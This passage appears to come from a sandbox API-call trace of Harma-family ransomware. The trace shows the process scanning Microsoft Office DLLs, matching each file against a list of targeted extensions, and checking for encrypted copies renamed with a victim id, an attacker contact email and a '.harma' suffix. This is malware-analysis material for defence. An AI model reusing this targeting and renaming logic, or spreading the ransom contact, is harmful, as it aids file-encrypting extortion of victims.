hTemplateFile=0x0) returned 0x384 [0167.550] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1549152) returned 1 [0167.550] CloseHandle (hObject=0x384) returned 1 [0167.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll")) returned 0x20 [0167.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.551] lstrlenW (lpString=".doc") returned 4 [0167.551] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.551] lstrlenW (lpString=".docx") returned 5 [0167.551] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0167.551] lstrlenW (lpString=".pdf") returned 4 [0167.551] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.551] lstrlenW (lpString=".xls") returned 4 [0167.551] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.551] lstrlenW (lpString=".xlsx") returned 5 [0167.551] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0167.551] lstrlenW (lpString=".ppt") returned 4 [0167.551] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.551] lstrlenW (lpString=".zip") returned 4 [0167.551] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.551] lstrlenW (lpString=".rar") returned 4 [0167.551] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.551] lstrlenW (lpString=".bz2") returned 4 [0167.551] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.551] lstrlenW (lpString=".7z") returned 3 [0167.551] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.551] lstrlenW (lpString=".dbf") returned 4 [0167.551] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.552] lstrlenW (lpString=".1cd") returned 4 [0167.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.552] lstrlenW (lpString=".jpg") returned 4 [0167.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.552] lstrlenW (lpString=".doc") returned 4 [0167.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.552] lstrlenW (lpString=".docx") returned 5 [0167.552] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0167.552] lstrlenW (lpString=".pdf") returned 4 [0167.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.552] lstrlenW (lpString=".xls") returned 4 [0167.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.552] lstrlenW (lpString=".xlsx") returned 5 [0167.552] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0167.552] lstrlenW (lpString=".ppt") returned 4 [0167.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.552] lstrlenW (lpString=".zip") returned 4 [0167.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.552] lstrlenW (lpString=".rar") returned 4 [0167.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.552] lstrlenW (lpString=".bz2") returned 4 [0167.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.553] lstrlenW (lpString=".7z") returned 3 [0167.553] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.553] lstrlenW (lpString=".dbf") returned 4 [0167.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.553] lstrlenW (lpString=".1cd") returned 4 [0167.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68 [0167.553] lstrlenW (lpString=".jpg") returned 4 [0167.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.553] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0167.553] lstrlenW (lpString="AEC.DLL") returned 7 [0167.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.685] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1571704) returned 1 [0167.685] CloseHandle (hObject=0x384) returned 1 [0167.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll")) returned 0x20 [0167.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.696] lstrlenW (lpString=".doc") returned 4 [0167.696] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.697] lstrlenW (lpString=".docx") returned 5 [0167.697] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0167.697] lstrlenW (lpString=".pdf") returned 4 [0167.697] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.697] lstrlenW (lpString=".xls") returned 4 [0167.697] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.697] lstrlenW (lpString=".xlsx") returned 5 [0167.697] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0167.697] lstrlenW (lpString=".ppt") returned 4 [0167.697] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.697] lstrlenW (lpString=".zip") returned 4 [0167.697] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.697] lstrlenW (lpString=".rar") returned 4 [0167.697] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.697] lstrlenW (lpString=".bz2") returned 4 [0167.697] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.697] lstrlenW (lpString=".7z") returned 3 [0167.697] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.697] lstrlenW (lpString=".dbf") returned 4 [0167.697] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.697] lstrlenW (lpString=".1cd") returned 4 [0167.697] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.697] lstrlenW (lpString=".jpg") returned 4 [0167.697] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.698] lstrlenW (lpString=".doc") returned 4 [0167.698] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.698] lstrlenW (lpString=".docx") returned 5 [0167.698] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0167.698] lstrlenW (lpString=".pdf") returned 4 [0167.698] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.698] lstrlenW (lpString=".xls") returned 4 [0167.698] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.698] lstrlenW (lpString=".xlsx") returned 5 [0167.698] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0167.698] lstrlenW (lpString=".ppt") returned 4 [0167.698] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.698] lstrlenW (lpString=".zip") returned 4 [0167.698] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.698] lstrlenW (lpString=".rar") returned 4 [0167.698] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.698] lstrlenW (lpString=".bz2") returned 4 [0167.698] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.698] lstrlenW (lpString=".7z") returned 3 [0167.698] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.698] lstrlenW (lpString=".dbf") returned 4 [0167.698] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.698] lstrlenW (lpString=".1cd") returned 4 [0167.699] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL") returned 50 [0167.699] lstrlenW (lpString=".jpg") returned 4 [0167.699] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.699] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0167.699] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0167.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.700] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=70528) returned 1 [0167.700] CloseHandle (hObject=0x384) returned 1 [0167.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll")) returned 0x20 [0167.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.701] lstrlenW (lpString=".doc") returned 4 [0167.701] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.701] lstrlenW (lpString=".docx") returned 5 [0167.701] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0167.701] lstrlenW (lpString=".pdf") returned 4 [0167.701] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.701] lstrlenW (lpString=".xls") returned 4 [0167.701] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.701] lstrlenW (lpString=".xlsx") returned 5 [0167.701] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0167.701] lstrlenW (lpString=".ppt") returned 4 [0167.701] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.701] lstrlenW (lpString=".zip") returned 4 [0167.701] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.701] lstrlenW (lpString=".rar") returned 4 [0167.701] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.701] lstrlenW (lpString=".bz2") returned 4 [0167.702] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.702] lstrlenW (lpString=".7z") returned 3 [0167.702] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.702] lstrlenW (lpString=".dbf") returned 4 [0167.702] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.702] lstrlenW (lpString=".1cd") returned 4 [0167.702] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.702] lstrlenW (lpString=".jpg") returned 4 [0167.702] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.702] lstrlenW (lpString=".doc") returned 4 [0167.702] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.702] lstrlenW (lpString=".docx") returned 5 [0167.702] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0167.702] lstrlenW (lpString=".pdf") returned 4 [0167.702] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.702] lstrlenW (lpString=".xls") returned 4 [0167.702] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.702] lstrlenW (lpString=".xlsx") returned 5 [0167.702] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0167.702] lstrlenW (lpString=".ppt") returned 4 [0167.702] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.702] lstrlenW (lpString=".zip") returned 4 [0167.702] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.702] lstrlenW (lpString=".rar") returned 4 [0167.702] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.703] lstrlenW (lpString=".bz2") returned 4 [0167.703] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.703] lstrlenW (lpString=".7z") returned 3 [0167.703] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.703] lstrlenW (lpString=".dbf") returned 4 [0167.703] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.703] lstrlenW (lpString=".1cd") returned 4 [0167.703] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0167.703] lstrlenW (lpString=".jpg") returned 4 [0167.703] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.703] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0167.703] lstrlenW (lpString="BCSProxy.dll") returned 12 [0167.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.704] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=137600) returned 1 [0167.704] CloseHandle (hObject=0x384) returned 1 [0167.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll")) returned 0x20 [0167.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.705] lstrlenW (lpString=".doc") returned 4 [0167.705] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.705] lstrlenW (lpString=".docx") returned 5 [0167.705] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0167.705] lstrlenW (lpString=".pdf") returned 4 [0167.705] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.705] lstrlenW (lpString=".xls") returned 4 [0167.705] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.705] lstrlenW (lpString=".xlsx") returned 5 [0167.705] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0167.705] lstrlenW (lpString=".ppt") returned 4 [0167.705] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.705] lstrlenW (lpString=".zip") returned 4 [0167.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.705] lstrlenW (lpString=".rar") returned 4 [0167.705] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.705] lstrlenW (lpString=".bz2") returned 4 [0167.706] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.706] lstrlenW (lpString=".7z") returned 3 [0167.706] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.706] lstrlenW (lpString=".dbf") returned 4 [0167.706] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.706] lstrlenW (lpString=".1cd") returned 4 [0167.706] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.706] lstrlenW (lpString=".jpg") returned 4 [0167.706] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.706] lstrlenW (lpString=".doc") returned 4 [0167.706] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.706] lstrlenW (lpString=".docx") returned 5 [0167.706] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0167.706] lstrlenW (lpString=".pdf") returned 4 [0167.706] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.706] lstrlenW (lpString=".xls") returned 4 [0167.706] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.706] lstrlenW (lpString=".xlsx") returned 5 [0167.706] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0167.706] lstrlenW (lpString=".ppt") returned 4 [0167.706] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.706] lstrlenW (lpString=".zip") returned 4 [0167.706] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.706] lstrlenW (lpString=".rar") returned 4 [0167.707] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.707] lstrlenW (lpString=".bz2") returned 4 [0167.707] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.707] lstrlenW (lpString=".7z") returned 3 [0167.707] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.707] lstrlenW (lpString=".dbf") returned 4 [0167.707] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.707] lstrlenW (lpString=".1cd") returned 4 [0167.707] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll") returned 55 [0167.707] lstrlenW (lpString=".jpg") returned 4 [0167.707] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.707] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0167.707] lstrlenW (lpString="BCSRuntime.dll") returned 14 [0167.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.711] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=613760) returned 1 [0167.711] CloseHandle (hObject=0x384) returned 1 [0167.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll")) returned 0x20 [0167.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.711] lstrlenW (lpString=".doc") returned 4 [0167.711] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.711] lstrlenW (lpString=".docx") returned 5 [0167.711] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0167.711] lstrlenW (lpString=".pdf") returned 4 [0167.711] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.711] lstrlenW (lpString=".xls") returned 4 [0167.711] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.711] lstrlenW (lpString=".xlsx") returned 5 [0167.711] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0167.712] lstrlenW (lpString=".ppt") returned 4 [0167.712] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.712] lstrlenW (lpString=".zip") returned 4 [0167.712] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.712] lstrlenW (lpString=".rar") returned 4 [0167.712] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.712] lstrlenW (lpString=".bz2") returned 4 [0167.712] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.712] lstrlenW (lpString=".7z") returned 3 [0167.712] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.712] lstrlenW (lpString=".dbf") returned 4 [0167.712] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.712] lstrlenW (lpString=".1cd") returned 4 [0167.712] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.712] lstrlenW (lpString=".jpg") returned 4 [0167.712] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll") returned 57 [0167.712] lstrlenW (lpString=".doc") returned 4 [0167.712] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.712] lstrlenW (lpString=".docx") returned 5 [0167.712] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0167.712] lstrlenW (lpString=".pdf") returned 4 [0167.712] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.713] lstrlenW (lpString=".xls") returned 4 [0167.713] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.713] lstrlenW (lpString=".xlsx") returned 5 [0167.713] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0167.713] lstrlenW (lpString=".ppt") returned 4 [0167.713] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 